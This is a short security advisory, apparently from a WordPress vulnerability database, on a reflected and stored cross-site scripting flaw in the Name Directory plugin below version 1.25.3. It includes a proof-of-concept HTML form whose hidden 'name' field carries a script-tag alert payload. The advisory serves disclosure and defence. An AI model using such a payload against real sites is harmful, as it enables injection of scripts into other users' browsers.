WordPress Plugin Vulnerabilities
Name Directory < 1.25.3 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting. Furthermore, as the payload is also saved into the database after the request, it leads to a Stored XSS as well
Proof of Concept

<input type="hidden" name="mode" value="new" />
<input type="hidden" name="name" value="<script>alert(/XSS/)</script>" />
<input type="hidden" name="submit" value="Next step" />
<input type="submit" value="Submit"/>
